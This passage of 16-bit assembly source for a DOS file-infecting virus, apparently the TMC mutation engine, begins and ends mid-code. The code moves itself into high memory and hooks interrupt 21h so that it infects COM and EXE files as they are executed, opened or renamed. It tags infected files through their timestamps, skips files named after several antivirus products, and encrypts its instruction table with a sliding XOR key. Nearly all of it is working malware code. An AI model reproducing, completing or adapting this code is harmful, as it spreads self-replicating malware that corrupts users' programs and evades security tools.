             push    [bp+1234h]          ; Save initial SP at stack

             db      11101101b           ; Data reference
             dw      138ch               ; Pointer to initial_sp_
             db      04h                 ; Four bytes instruction

             mov     cx,[bp+1234h]       ; CX = initial CS relative to star...

             db      11101101b           ; Data reference
             dw      1389h               ; Pointer to initial_cs_
             db      03h                 ; Three bytes instruction

             add     cx,10h              ; Add ten to initial CS relative t...

             db      02h                 ; Two bytes instruction

             add     cx,ax               ; Add segment of PSP for current p...

             db      01h                 ; One byte instruction

             push    cx                  ; Save CX at stack

             db      04h                 ; Four bytes instruction

             push    [bp+1234h]          ; Save incorrect IP at stack

             db      11101101b           ; Data reference
             dw      1773h               ; Pointer to incorrec_ip
             db      01h                 ; One byte instruction

             push    ax                  ; Save segment of PSP for current ...

             db      04h                 ; Four bytes instruction

             push    [bp+1234h]          ; Save size of memory block in par...

             db      11101101b           ; Data reference
             dw      1395h               ; Pointer to mcb_size__
             db      01h                 ; One byte instruction

             push    ds                  ; Save DS at stack

             db      02h                 ; Two bytes instruction

             mov     cl,00h              ; COM executable

             db      04h                 ; Four bytes instruction
                                        
             cmp     [bp+1234h],cl       ; COM executable?

             db      11101101b           ; Data reference
             dw      1388h               ; Pointer to executa_sta
             db      01110101b+10000000b ; Not equal? Jump to move_virus__
             dw      1390h               ; Pointer to move_virus__
             db      04h                 ; Four bytes instruction

             lea     si,[bp+1234h]       ; SI = offset of origin_code_

             db      11101101b           ; Data reference
             dw      1f40h               ; Pointer to origin_code_
             db      03h                 ; Three bytes instruction

             mov     ax,cs:[si]          ; AX = first two bytes of original...

             db      04h                 ; Four bytes instruction

             mov     cs:[100h],ax        ; Store first two bytes of origina...

             db      04h                 ; Four bytes instruction

             mov     al,cs:[si+02h]      ; AX = last byte of original code ...

             db      04h                 ; Four bytes instruction

             mov     cs:[100h+02h],al    ; Store last byte of original code...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1390h               ; Pointer to move_virus__
             db      11101111b           ; End of block
move_virus__ db      11101110b           ; Beginning of block
             dw      1390h               ; Block identification of move_vir...
             db      02h                 ; Two bytes instruction

             xor     ax,ax               ; Zero AX

             db      02h                 ; Two bytes instruction

             mov     ds,ax               ; DS = segment of DOS communicatio...

             db      05h                 ; Five bytes instruction

             cmp     byte ptr ds:[501h],10h

             db      01110100b+10000000b ; Already resident? Jump to virus_...
             dw      65h                 ; Pointer to virus_exit_
             db      05h                 ; Five bytes instruction

             mov     byte ptr ds:[501h],10h

             db      01h                 ; One byte instruction

             push    es                  ; Save ES at stack

             db      01h                 ; One byte instruction

             pop     ds                  ; Load DS from stack (ES)

             db      03h                 ; Three bytes instruction

             mov     ax,ds:[0ch]         ; AX = offset within next virus ge...

             db      03h                 ; Three bytes instruction

             sub     ax,4000h            ; Subtract offset of next virus ge...

             db      04h                 ; Four bytes instruction

             mov     [bp+1234h],ax       ; Store offset of crypt_table

             db      11101101b           ; Data reference
             dw      0bf1h               ; Pointer to vir_exit_of
             db      04h                 ; Four bytes instruction

             mov     cx,ds:[0eh]         ; CX = length of virus

             db      04h                 ; Four bytes instruction

             mov     [bp+1234h],cx       ; Store length of virus

             db      11101101b           ; Data reference
             dw      0bf0h               ; Pointer to virus_lengt
             db      03h                 ; Three bytes instruction

             mov     si,4000h            ; SI = offset of next virus genera...

             db      02h                 ; Two bytes instruction

             xor     di,di               ; Zero DI

             db      02h                 ; Two bytes instruction

             rep     movsb               ; Move virus to top of memory

             db      02h                 ; Two bytes instruction

             mov     cl,04h              ; Divide by paragraphs

             db      02h                 ; Two bytes instruction

             shr     di,cl               ; DI = length of next virus genera...

             db      01h                 ; One byte instruction

             inc     di                  ; Increase length of next virus ge...

             db      04h                 ; Four bytes instruction

             mov     bx,[bp+1234h]       ; BX = size of memory block in par...

             db      11101101b           ; Data reference
             dw      1394h               ; Pointer to mcb_size___
             db      04h                 ; Four bytes instruction

             sub     bx,[bp+1234h]       ; Subtract new size in paragraphs ...

             db      11101101b           ; Data reference
             dw      1393h               ; Pointer to new_mcb_siz
             db      02h                 ; Two bytes instruction

             sub     bx,di               ; Subtract length of next virus ge...

             db      01h                 ; One byte instruction

             dec     bx                  ; Decrease new size in paragraphs

             db      01h                 ; One byte instruction

             dec     bx                  ; Decrease new size in paragraphs

             db      02h                 ; Two bytes instruction

             cmp     bx,di               ; Insufficient memory?

             db      01110010b+10000000b ; Below? Jump to virus_exit_
             dw      65h                 ; Pointer to virus_exit_
             db      02h                 ; Two bytes instruction

             mov     ah,4ah              ; Resize memory block

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to virus_exit_
             dw      65h                 ; Pointer to virus_exit_
             db      02h                 ; Two bytes instruction

             mov     bx,di               ; BX = number of paragraphs to all...

             db      02h                 ; Two bytes instruction

             mov     ah,48h              ; Allocate memory

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to virus_exit_
             dw      65h                 ; Pointer to virus_exit_
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      01h                 ; One byte instruction

             dec     ax                  ; AX = segment of current Memory C...

             db      02h                 ; Two bytes instruction

             mov     es,ax               ; ES = segment of current Memory C...

             db      07h                 ; Seven bytes instruction

             mov     word ptr es:[01h],08h
             
             db      01h                 ; One byte instruction

             pop     es                  ; Load ES from stack (AX)

             db      04h                 ; Four bytes instruction

             mov     cx,[bp+1234h]       ; CX = length of virus

             db      11101101b           ; Data reference
             dw      0bf0h               ; Pointer to virus_lengt
             db      02h                 ; Two bytes instruction

             xor     si,si               ; Zero SI

             db      02h                 ; Two bytes instruction

             xor     di,di               ; Zero DI

             db      02h                 ; Two bytes instruction

             rep     movsb               ; Move virus to top of memory

             db      01h                 ; One byte instruction

             push    es                  ; Save ES at stack

             db      04h                 ; Four bytes instruction

             push    [bp+1234h]          ; Save offset of virus_exit_ at stack

             db      11101101b           ; Data reference
             dw      0bf1h               ; Pointer to vir_exit_of
             db      04h                 ; Four bytes instruction

             mov     al,[bp+1234h]       ; AL = 8-bit encryption/decryption...

             db      11101101b           ; Data reference
             dw      0bd7h               ; Pointer to crypt_key_
             db      04h                 ; Four bytes instruction

             mov     ah,[bp+1234h]       ; AH = 8-bit sliding encrytion/dec...

             db      11101101b           ; Data reference
             dw      0bd8h               ; Pointer to sliding_key_
             db      01h                 ; One byte instruction

             retf                        ; Return far

             db      11101111b           ; End of block
terminate_   db      11101110b           ; Beginning of block
             dw      0beeh               ; Block identification of terminate_
             db      03h                 ; Three bytes instruction

             mov     ax,4c00h            ; Terminate with return code

             db      02h                 ; Two bytes instruction

             int     21h

             db      11101111b           ; End of block
get_rnd_num_ db      11101110b           ; Beginning of block
             dw      0bd4h               ; Block identification of get_rnd_...
             db      01h                 ; One byte instruction

             push    cx                  ; Save CX at stack

             db      02h                 ; Two bytes instruction

             in      al,40h              ; AL = 8-bit random number

             db      02h                 ; Two bytes instruction

             mov     ah,al               ; AH = 8-bit random number

             db      02h                 ; Two bytes instruction

             in      al,40h              ; AL = 8-bit random number

             db      05h                 ; Five bytes instruction

             xor     ax,es:[01h]         ; AX = 16-bit random number

             db      02h                 ; Two bytes instruction

             mov     cl,ah               ; CL = high-order byte of 16-bit r...

             db      02h                 ; Two bytes instruction

             rol     ax,cl               ; AX = 16-bit random number

             db      04h                 ; Four bytes instruction

             mov     es:[01h],ax         ; Store 16-bit random number

             db      01h                 ; One byte instruction

             pop     cx                  ; Load CX from stack

             db      01h                 ; One byte instruction

             ret                         ; Return

             db      11101111b           ; End of block
rnd_in_rang  db      11101110b           ; Beginning of block
             dw      0bd5h               ; Block identification of rnd_in_rang
             db      02h                 ; Two bytes instruction

             or      bp,bp               ; Zero BP?

             db      01110100b+10000000b ; Zero? Jump to zero_range_
             dw      0bd6h               ; Pointer to zero_range_
             db      01h                 ; One byte instruction

             push    dx                  ; Save DX at stack

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0bd4h               ; Pointer to get_rnd_num_
             db      02h                 ; Two bytes instruction

             xor     dx,dx               ; Zero DX

             db      02h                 ; Two bytes instruction

             div     bp                  ; DX = random number within range

             db      01h                 ; One byte instruction

             xchg    ax,dx               ; AX = random number within range

             db      01h                 ; One byte instruction

             pop     dx                  ; Load DX from stack

             db      01h                 ; One byte instruction

             ret                         ; Return

             db      11101111b           ; End of block
zero_range_  db      11101110b           ; Beginning of block
             dw      0bd6h               ; Block identification of zero_range_
             db      02h                 ; Two bytes instruction

             xor     ax,ax               ; AX = random number within range

             db      01h                 ; One byte instruction

             ret                         ; Return

             db      11101111b           ; End of block
decrypt_byt  db      11101110b           ; Beginning of block
             dw      0be0h               ; Block identification of decrypt_byt
             db      04h                 ; Four bytes instruction

             mov     [bp+1234h],ah       ; Store AH

             db      11101101b           ; Data reference
             dw      0bd9h               ; Pointer to ah__
             db      02h                 ; Two bytes instruction

             mov     ax,si               ; AX = offset within table

             db      02h                 ; Two bytes instruction

             sub     ax,bp               ; Subtract delta offset from offse...

             db      03h                 ; Three bytes instruction

             sub     ax,1234h            ; Subtract offset of tmc_table_ fr...

             db      11101101b           ; Data reference
             dw      4c5h                ; Pointer to tmc_table_
             db      04h                 ; Four bytes instruction

             mul     word ptr [bp+1234h] ; AL = 8-bit sliding encryptio...

             db      11101101b           ; Data reference
             dw      0bd8h               ; Pointer to sliding_key_
             db      04h                 ; Four bytes instruction

             add     al,[bp+1234h]       ; AL = 8-bit encryption/decryption...

             db      11101101b           ; Data reference
             dw      0bd7h               ; Pointer to crypt_key_
             db      02h                 ; Two bytes instruction

             xor     al,[si]             ; AL = byte of decrypted table

             db      04h                 ; Four bytes instruction

             mov     ah,[bp+1234h]       ; AH = stored AH

             db      11101101b           ; Data reference
             dw      0bd9h               ; Pointer to ah__
             db      01h                 ; One byte instruction

             inc     si                  ; Increase offset within table

             db      01h                 ; One byte instruction

             ret                         ; Return

             db      11101111b           ; End of block
decrypt_id_  db      11101110b           ; Beginning of block
             dw      0be1h               ; Block identification of decrypt_id_
             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be0h               ; Pointer to decrypt_byt
             db      02h                 ; Two bytes instruction

             mov     ah,al               ; AL = byte of decrypted table

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0be0h               ; Pointer to decrypt_byt
             db      02h                 ; Two bytes instruction

             xchg    al,ah               ; AL = byte of decrypted table

             db      01h                 ; One byte instruction

             ret                         ; Return

             db      11101111b           ; End of block
virus_exit_  db      11101110b           ; Beginning of block
             dw      65h                 ; Block identification of virus_exit_
             db      01h                 ; One byte instruction

             pop     es                  ; Load ES from stack

             db      02h                 ; Two bytes instruction

             mov     ah,49h              ; Free memory

             db      02h                 ; Two bytes instruction

             int     21h

             db      01h                 ; One byte instruction

             pop     bx                  ; Load BX from stack

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack

             db      02h                 ; Two bytes instruction

             mov     ds,ax               ; DS = segment of PSP for current ...

             db      02h                 ; Two bytes instruction

             mov     es,ax               ; DS = segment of PSP for current ...

             db      02h                 ; Two bytes instruction

             mov     ah,4ah              ; Resize memory block

             db      02h                 ; Two bytes instruction

             int     21h

             db      04h                 ; Four bytes instruction

             lea     bx,[bp+1234h]       ; BX = offset of jmp_imm32_

             db      11101101b           ; Data reference
             dw      1391h               ; Pointer of jmp_imm32_
             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack (initial IP)

             db      04h                 ; Four bytes instruction

             mov     cs:[bx+01h],ax      ; Store initial IP

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack (initial CS ...)

             db      04h                 ; Four bytes instruction

             mov     cs:[bx+03h],ax      ; Store initial CS relative to sta...

             db      01h                 ; One byte instruction

             pop     ax                  ; Load AX from stack (initial SP)

             db      01h                 ; One byte instruction

             pop     ss                  ; Load SS from stack (initial SS ...)

             db      02h                 ; Two bytes instruction

             mov     sp,ax               ; SP = stack pointer

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1391h               ; Pointer of jmp_imm32_
             db      11101111b           ; End of block
jmp_imm32_   db      11101110b           ; Beginning of block
             dw      1391h               ; Block identification of jmp_imm32_
             db      05h+10h             ; Five bytes data
             db      11101010b           ; JMP imm32 (opcode 0eah)
             dd      00h                 ; Pointer to virus in top of memory
             db      11101111b           ; End of block
ah__         db      11101110b           ; Beginning of block
             dw      0bd9h               ; Block identification of ah__
             db      01h+10h             ; One byte data
             db      00h                 ; Accumulator register (high-orde...)
             db      11101111b           ; End of block
probability_ db      11101110b           ; Beginning of block
             dw      0bech               ; Block identification of probabil...
             db      02h+10h             ; Two bytes data
             dw      32h                 ; Probability
             db      11101111b           ; End of block
crypt_key_   db      11101110b           ; Beginning of block
             dw      0bd7h               ; Block identification of crypt_key_
             db      01h+10h             ; One byte data
             db      00h                 ; 8-bit encryption/decryption key
             db      11101111b           ; End of block
sliding_key_ db      11101110b           ; Beginning of block
             dw      0bd8h               ; Block identification of sliding_...
             db      02h+10h             ; Two bytes data
             dw      00h                 ; 8-bit sliding encryption/decrypt...
             db      11101111b           ; End of block
executa_sta  db      11101110b           ; Beginning of block
             dw      1388h               ; Block identification of executa_sta
             db      01h+10h             ; One byte data
             db      00h                 ; Executable status
             db      11101111b           ; End of block
origin_code_ db      11101110b           ; Beginning of block
             dw      1f40h               ; Block identification of origin_c...
             db      03h+10h             ; Three bytes data
             db      11000011b,00000010b dup(00h)
             db      11101111b           ; End of block
initial_cs_  db      11101110b           ; Beginning of block
             dw      1389h               ; Block identification of initial_cs_
             db      02h+10h             ; Two bytes data
             dw      0fff0h              ; Initial CS relative to start of ...
             db      11101111b           ; End of block
initial_ss_  db      11101110b           ; Beginning of block
             dw      138ah               ; Block identification of initial_ss_
             db      02h+10h             ; Two bytes data
             dw      0fff0h              ; Initial SS relative to start of ...
             db      11101111b           ; End of block
initial_ip_  db      11101110b           ; Beginning of block
             dw      138bh               ; Block identification of initial_ip_
             db      02h+10h             ; Two bytes data
             dw      100h                ; Initial IP
             db      11101111b           ; End of block
incorrec_ip  db      11101110b           ; Beginning of block
             dw      1773h               ; Block identification of incorrec_ip
             db      02h+10h             ; Two bytes data
             dw      100h                ; Incorrect IP
             db      11101111b           ; End of block
initial_sp_  db      11101110b           ; Beginning of block
             dw      138ch               ; Block identification of initial_sp_
             db      02h+10h             ; Two bytes data
             dw      0fffeh              ; Initial SP
             db      11101111b           ; End of block
new_mcb_siz  db      11101110b           ; Beginning of block
             dw      1393h               ; Block identification of new_mcb_siz
             db      02h+10h             ; Two bytes data
             dw      1000h               ; New size in paragraphs
             db      11101111b           ; End of block
mcb_size__   db      11101110b           ; Beginning of block
             dw      1395h               ; Block identification of mcb_size__
             db      02h+10h             ; Two bytes data
             dw      0ffffh              ; Size of memory block in paragraphs
             db      11101111b           ; End of block
mcb_size___  db      11101110b           ; Beginning of block
             dw      1394h               ; Block identification of mcb_siz...
             db      02h+10h             ; Two bytes data
             dw      00h                 ; Size of memory block in paragraphs
             db      11101111b           ; End of block
program_seg_ db      11101110b           ; Beginning of block
             dw      0befh               ; Block identification of program_...
             db      02h+10h             ; Two bytes data
             dw      00h                 ; Segment of PSP for current process
             db      11101111b           ; End of block
virus_lengt  db      11101110b           ; Beginning of block
             dw      0bf0h               ; Block identification of virus_lengt
             db      02h+10h             ; Two bytes data
             dw      00h                 ; Length of virus
             db      11101111b           ; End of block
vir_exit_of  db      11101110b           ; Beginning of block
             dw      0bf1h               ; Block identification of vir_exit_of
             db      02h+10h             ; Two bytes data
             dw      00h                 ; Offset of virus_exit_
             db      11101111b           ; End of block
tmc_table_   db      11101110b           ; Beginning of block
             dw      4c5h                ; Block identification of tmc_table_
             db      11101111b           ; End of block
             db      00h                 ; End of table
second_table db      11101111b           ; End of block
virus_end:
crypt_table  db      11101110b           ; Beginning of block
             dw      66h                 ; Block identification of crypt_table
             db      02h                 ; Two bytes instruction

             xor     bp,bp               ; BP = delta offset

             db      01h                 ; One byte instruction

             push    cs                  ; Save CS at stack

             db      01h                 ; One byte instruction

             pop     ds                  ; Load DS from stack

             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0bfeh               ; Pointer to crypt_table_
             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0bd4h               ; Pointer to get_rnd_num_
             db      03h                 ; Three bytes instruction

             mov     ds:[1234h],al       ; Store 8-bit encryption/decryptio...

             db      11101101b           ; Data reference
             dw      0bd7h               ; Pointer to crypt_key_
             db      04h                 ; Four bytes instruction

             mov     ds:[1234h],ah       ; Store 8-bit sliding encryption/d...

             db      11101101b           ; Data reference
             dw      0bd8h               ; Pointer to sliding_key_
             db      11101000b           ; CALL imm16 (opcode 0e8h)
             dw      0bfeh               ; Pointer to crypt_table_
             db      03h                 ; Three bytes instruction

             mov     ax,3521h            ; Get interrupt vector 21h

             db      02h                 ; Two bytes instruction

             int     21h

             db      03h                 ; Three bytes instruction

             mov     di,1234h            ; DI = offset of int21_jump

             db      11101101b           ; Data reference
             dw      0c9h                ; Pointer to int21_jump
             db      03h                 ; Three bytes instruction

             mov     [di+01h],bx         ; Store offset of interrupt 21h

             db      03h                 ; Three bytes instruction

             mov     [di+03h],es         ; Store segment of interrupt 21h

             db      03h                 ; Three bytes instruction

             mov     dx,1234h            ; DX = offset of int21_virus

             db      11101101b           ; Data reference
             dw      0c8h                ; Pointer to int21_virus
             db      03h                 ; Three bytes instruction

             mov     ax,2521h            ; Set interrupt vector 21h

             db      02h                 ; Two bytes instruction

             int     21h

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      65h                 ; Pointer to virus_exit_
             db      11101111b           ; End of block
crypt_table_ db      11101110b           ; Beginning of block
             dw      0bfeh               ; Block identification of crypt_ta...
             db      03h                 ; Three bytes instruction

             mov     si,1234h            ; SI = offset of tmc_table_

             db      11101101b           ; Data reference
             dw      4c5h                ; Pointer to tmc_table_
             db      03h                 ; Three bytes instruction

             mov     cx,(code_end-first_table)

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0bffh               ; Pointer to crypt_loop
             db      11101111b           ; End of block
crypt_loop   db      11101110b           ; Beginning of block
             dw      0bffh               ; Block identification of crypt_lo...
             db      02h                 ; Two bytes instruction

             xor     [si],al             ; Encrypt byte of table

             db      01h                 ; One byte instruction

             inc     si                  ; Increase offset within table

             db      02h                 ; Two bytes instruction

             add     al,ah               ; Add 8-bit sliding encryption key...

             db      01h                 ; One byte instruction

             dec     cx                  ; Decrease counter

             db      01110101b+10000000b ; Not zero? Jump to crypt_loop
             dw      0bffh               ; Pointer to crypt_loop
             db      01h                 ; One byte instruction

             ret                         ; Return

             db      11101111b           ; End of block
int21_virus  db      11101110b           ; Beginning of block
             dw      0c8h                ; Block identification of int21_virus
             db      01h                 ; One byte instruction

             push    ax                  ; Save AX at stack

             db      01h                 ; One byte instruction

             push    bx                  ; Save BX at stack

             db      01h                 ; One byte instruction

             push    cx                  ; Save CX at stack

             db      01h                 ; One byte instruction

             push    dx                  ; Save DX at stack

             db      01h                 ; One byte instruction

             push    si                  ; Save SI at stack

             db      01h                 ; One byte instruction

             push    di                  ; Save DI at stack

             db      01h                 ; One byte instruction

             push    ds                  ; Save DS at stack

             db      01h                 ; One byte instruction

             push    es                  ; Save ES at stack

             db      01h                 ; One byte instruction

             cld                         ; Clear direction flag

             db      03h                 ; Three bytes instruction

             cmp     ah,4bh              ; Load and/or execute program?

             db      01110100b+10000000b ; Equal? Jump to find_zero
             dw      1392h               ; Pointer to find_zero
             db      03h                 ; Three bytes instruction

             cmp     ah,56h              ; Rename file?

             db      01110100b+10000000b ; Equal? Jump to find_zero
             dw      1392h               ; Pointer to find_zero
             db      03h                 ; Three bytes instruction

             cmp     ah,3dh              ; Open file?

             db      01110101b+10000000b ; Not equal? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1392h               ; Pointer to find_zero
             db      11101111b           ; End of block
find_zero    db      11101110b           ; Beginning of block
             dw      1392h               ; Block identification of find_zero
             db      01h                 ; One byte instruction

             push    ds                  ; Save DS at stack

             db      01h                 ; One byte instruction

             pop     es                  ; Load ES from stack (DS)

             db      02h                 ; Two bytes instruction

             mov     di,dx               ; DI = offset of filename

             db      03h                 ; Three bytes instruction

             mov     cx,43h              ; CX = number of bytes to search t...

             db      02h                 ; Two bytes instruction

             xor     al,al               ; Zero AL

             db      02h                 ; Two bytes instruction

             repne   scasb               ; Find end of filename

             db      01110101b+10000000b ; Not equal? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             lea     si,[di-05h]         ; SI = offset of the dot in the fi...

             db      01h                 ; One byte instruction

             lodsw                       ; AX = two bytes of filename

             db      03h                 ; Three bytes instruction

             or      ax,2020h            ; Lowercase characters

             db      03h                 ; Three bytes instruction

             mov     bx,'mo'             ; COM executable

             db      03h                 ; Three bytes instruction

             cmp     ax,'c.'             ; COM executable?

             db      01110100b+10000000b ; Equal? Jump to examine_ext
             dw      0f0h                ; Pointer to examine_ext
             db      03h                 ; Three bytes instruction

             mov     bx,'ex'             ; EXE executable

             db      03h                 ; Three bytes instruction

             cmp     ax,'e.'             ; EXE executable?

             db      01110100b+10000000b ; Equal? Jump to examine_ext
             dw      0f0h                ; Pointer to examine_ext
             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      0fbh                ; Pointer to int21_exit
             db      11101111b           ; End of block
examine_ext  db      11101110b           ; Beginning of block
             dw      0f0h                ; Block identification of examine_ext
             db      01h                 ; One byte instruction

             lodsw                       ; AX = two bytes of filename

             db      03h                 ; Three bytes instruction

             or      ax,2020h            ; Lowercase characters

             db      02h                 ; Two bytes instruction

             cmp     ax,bx               ; COM or EXE executable?

             db      01110101b+10000000b ; Not equal? Jump to examine_ext
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             sub     si,04h              ; SI = offset of the dot in the fi...

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1398h               ; Pointer to find_name
             db      11101111b           ; End of block
find_name    db      11101110b           ; Beginning of block
             dw      1398h               ; Block identification of find_name
             db      01h                 ; One byte instruction

             dec     si                  ; SI = offset within filename

             db      02h                 ; Two bytes instruction

             mov     al,[si]             ; AL = byte of filename

             db      02h                 ; Two bytes instruction

             cmp     al,'/'              ; Beginning of filename?

             db      01110100b+10000000b ; Equal? Jump to examine_name
             dw      1397h               ; Pointer to examine_name
             db      02h                 ; Two bytes instruction

             cmp     al,'\'              ; Beginning of filename?

             db      01110100b+10000000b ; Equal? Jump to examine_name
             dw      1397h               ; Pointer to examine_name
             db      02h                 ; Two bytes instruction

             cmp     al,':'              ; Beginning of filename?

             db      01110100b+10000000b ; Equal? Jump to examine_name
             dw      1397h               ; Pointer to examine_name
             db      02h                 ; Two bytes instruction

             cmp     si,dx               ; Beginning of filename?

             db      01110111b+10000000b ; Above? Jump to find_name
             dw      1398h               ; Pointer to find_name
             db      01h                 ; One byte instruction

             dec     si                  ; SI = offset within filename

             db      11101001b           ; JMP imm16 (opcode 0e9h)
             dw      1397h               ; Pointer to examine_name
             db      11101111b           ; End of block
examine_name db      11101110b           ; Beginning of block
             dw      1397h               ; Block identification of examine_...
             db      01h                 ; One byte instruction

             inc     si                  ; SI = offset of beginning of file...

             db      01h                 ; One byte instruction

             lodsw                       ; AX = two bytes of filename

             db      03h                 ; Three bytes instruction

             or      ax,2020h            ; Lowercase characters

             db      03h                 ; Three bytes instruction

             xor     ax,0aa55h           ; Encrypt two bytes of filename

             db      03h                 ; Three bytes instruction

             cmp     ax,('ci' xor 0aa55h)

             db      01110100b+10000000b ; Equal? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('on' xor 0aa55h)

             db      01110100b+10000000b ; NOD-iCE? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('ew' xor 0aa55h)

             db      01110100b+10000000b ; Dr. Web? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('bt' xor 0aa55h)

             db      01110100b+10000000b ; ThunderByte Anti-Virus? Jump to ...
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('va' xor 0aa55h)

             db      01110100b+10000000b ; AntiViral Toolkit Pro? Jump to i...
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('-f' xor 0aa55h)

             db      01110100b+10000000b ; F-PROT? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('cs' xor 0aa55h)

             db      01110100b+10000000b ; McAfee ViruScan? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('oc' xor 0aa55h)

             db      01110100b+10000000b ; COMMAND.COM? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('iw' xor 0aa55h)

             db      01110100b+10000000b ; WIN.COM? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      03h                 ; Three bytes instruction

             cmp     ax,('rk' xor 0aa55h)

             db      01110100b+10000000b ; Equal? Jump to int21_exit
             dw      0fbh                ; Pointer to int21_exit
             db      02h                 ; Two bytes instruction

             mov     cx,ds               ; CX = segment of filename

             db      01h                 ; One byte instruction

             push    cs                  ; Save CS at stack

             db      01h                 ; One byte instruction

             pop     ds                  ; Load DS from stack

             db      03h                 ; Three bytes instruction

             mov     ax,3524h            ; Get interrupt vector 24h

             db      02h                 ; Two bytes instruction

             int     21h

             db      01h                 ; One byte instruction

             push    es                  ; Save ES at stack

             db      01h                 ; One byte instruction

             push    bx                  ; Save BX at stack

             db      01h                 ; One byte instruction

             push    dx                  ; Save DX at stack

             db      03h                 ; Three bytes instruction

             mov     dx,1234h            ; DX = offset of int24_virus

             db      11101101b           ; Data reference
             dw      1770h               ; Pointer to int24_virus
             db      03h                 ; Three bytes instruction

             mov     ax,2524h            ; Set interrupt vector 24h

             db      02h                 ; Two bytes instruction

             int     21h

             db      01h                 ; One byte instruction

             pop     dx                  ; Load DX from stack

             db      02h                 ; Two bytes instruction

             mov     ds,cx               ; DS = segment of filename

             db      02h                 ; Two bytes instruction

             mov     es,cx               ; ES = segment of filename

             db      03h                 ; Three bytes instruction

             mov     ax,3d02h            ; Open file (read/write)

             db      03h                 ; Three bytes instruction

             mov     bx,1234h            ; BX = offset of int21_jump

             db      11101101b           ; Data reference
             dw      0c9h                ; Pointer to int21_jump
             db      01h                 ; One byte instruction

             inc     bx                  ; BX = offset of address of interr...

             db      01h                 ; One byte instruction

             pushf                       ; Save flags at stack

             db      03h                 ; Three bytes instruction

             call    dword ptr cs:[bx]

             db      01110010b+10000000b ; Error? Jump to int24_store
             dw      1771h               ; Pointer to int24_store
             db      02h                 ; Two bytes instruction

             mov     bx,ax               ; BX = file handle

             db      01h                 ; One byte instruction

             push    cs                  ; Save CS at stack

             db      01h                 ; One byte instruction

             pop     ds                  ; Load DS from stack (CS)

             db      03h                 ; Three bytes instruction

             mov     ax,5700h            ; Get file's date and time

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      04h                 ; Four bytes instruction

             mov     ds:[1234h],dx       ; Store file's date

             db      11101101b           ; Data reference
             dw      12dh                ; Pointer to file_date
             db      02h                 ; Two bytes instruction

             mov     al,cl               ; AL = low-order byte of file time

             db      02h                 ; Two bytes instruction

             and     al,00011111b        ; AL = file seconds

             db      02h                 ; Two bytes instruction

             cmp     al,00000100b        ; Already infected (8 seconds)?

             db      01110100b+10000000b ; Equal? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      03h                 ; Three bytes instruction

             and     cl,11100000b        ; Zero file seconds

             db      03h                 ; Three bytes instruction

             or      cl,00000100b        ; Set infection mark (8 seconds)

             db      04h                 ; Four bytes instruction

             mov     ds:[1234h],cx       ; Store file's time

             db      11101101b           ; Data reference
             dw      12ch                ; Pointer to file_time
             db      02h                 ; Two bytes instruction

             mov     ah,3fh              ; Read from file

             db      03h                 ; Three bytes instruction

             mov     cx,03h              ; Read three bytes

             db      03h                 ; Three bytes instruction

             mov     dx,1234h            ; DX = offset of origin_code_

             db      11101101b           ; Data reference
             dw      1f40h               ; Pointer to origin_code_
             db      02h                 ; Two bytes instruction

             mov     si,dx               ; SI = offset of origin_code_

             db      02h                 ; Two bytes instruction

             int     21h

             db      01110010b+10000000b ; Error? Jump to close_file
             dw      0fah                ; Pointer to close_file
             db      01h                 ; One byte instruction

             lodsw                       ; AX = EXE signature

             db      03h                 ; Three bytes instruction

             cmp     ax,'ZM'             ; EXE signature?

             db      01110100b+10000000b ; Equal? Jump to infect_exe
             dw      138dh               ; Pointer to infect_exe
             db      03h                 ; Three bytes instruction

             cmp     ax,'MZ'             ; EXE signature?

             db      01110100b+10000000b ; Equal? Jump to infect_exe
             dw      138dh               ; Pointer to infect_exe
             db      03h                 ; Three bytes instruction

             mov     si,1234h            ; SI = offset of initial_cs_

             db      11101101b           ; Data reference
             dw      1389h               ; Pointer to initial_cs_
             db      04h                 ; Four bytes instruction

             mov     [si],0fff0h         ; Store initial CS relative to sta...

             db      03h                 ; Three bytes instruction

             mov     si,1234h            ; SI = offset of initial_ss_

             db      11101101b           ; Data reference
             dw      138ah               ; Pointer to initial_ss_
             db      04h                 ; Four bytes instruction

             mov     [si],0fff0h         ; Store initial SS relative to sta...

             db      03h                 ; Three bytes instruction

